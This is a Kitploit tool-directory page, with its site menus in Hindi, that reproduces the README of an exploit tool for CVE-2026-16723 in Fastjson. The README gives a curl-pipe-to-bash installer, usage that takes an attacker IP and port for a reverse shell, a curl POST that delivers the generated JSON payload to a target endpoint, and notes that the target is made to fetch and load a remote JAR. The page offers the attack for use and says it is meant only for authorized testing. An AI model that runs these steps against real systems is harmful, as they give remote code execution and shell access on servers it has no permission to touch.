Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-16723 — A critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83. | Kitploit
उपकरण/GitHubGitHub/1xpwn/cve-2026-16723
Payload GenerationExploitationWeb Application ExploitationPenetration Testing
GitHub1xpwn/cve-2026-16723

CVE-2026-16723

A critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83.

रिपॉजिटरी देखें
21324 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
अनुरोधित भाषा में सामग्री उपलब्ध नहीं है। अंग्रेज़ी संस्करण दिखाया जा रहा है।

CVE-2026-16723 Exploit

A standalone C++17 implementation for CVE-2026-16723, a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83.

Requirements

  • Linux (or WSL on Windows)

  • C++17 compatible compiler (GCC 7+ or Clang 5+)

  • CMake 3.10 or newer

  • System packages:

    • libzip-dev
  • zlib1g-dev
  • Debian / Ubuntu

    root@kitploit:~
    sudo apt update
    sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
    

    Installation

    Quick Install (Recommended)

    Install everything with a single command:

    root@kitploit:~
    curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash
    

    Or download and execute the installer manually:

    root@kitploit:~
    wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
    chmod +x install.sh
    ./install.sh
    

    The installation script will:

    • Install all required system packages.

    • Download the required header-only libraries:

      • nlohmann/json
      • cpp-httplib
    • Build the project.

    • Place the compiled binary in the current directory as:

    root@kitploit:~
    ./exploit
    

    Manual Build

    If you cloned the repository:

    root@kitploit:~
    git clone https://github.com/1xPwn/CVE-2026-16723.git
    cd CVE-2026-16723
    ./install.sh
    

    Or build manually:

    root@kitploit:~
    mkdir build
    cd build
    
    cmake ..
    make -j$(nproc)
    
    cp exploit ../
    

    Usage

    Run the binary:

    root@kitploit:~
    ./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
    

    Example

    root@kitploit:~
    ./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
    

    After execution the following files will be created:

    root@kitploit:~
    x
    body.json
    

    The HTTP server will start on the configured port (default: 8000) and the tool will wait for an incoming reverse shell connection.


    Sending the Payload

    Send the generated body.json file to the vulnerable endpoint:

    root@kitploit:~
    curl -X POST http://<TARGET_IP>:8080/api/products/search \
         -H "Content-Type: application/json" \
         --data-binary @body.json
    

    If the application expects a different JSON field, specify it using the --field option.


    Command-Line Options

    OptionDescriptionDefault
    --lhostLocal IP addressRequired
    --lportReverse shell listening port4444
    --http-portHTTP server port8000
    --firstFirst file descriptor to try3
    --lastLast file descriptor to try30
    --fieldJSON field namefacets
    --outdirOutput directory.
    -h, --helpShow help message—

    Output Files

    FileDescription
    xGenerated JAR payload
    body.jsonJSON payload to send to the target

    Notes

    • This project is intended only for authorized security testing and educational purposes.
    • The implementation forces the target application to download and load a remote JAR using the jar:http and jar:file protocols.
    • The reverse shell command is Base64-encoded to reduce escaping issues.

    Follow Me on Twitter(X)

    • MNM
    टूल डाउनलोड करें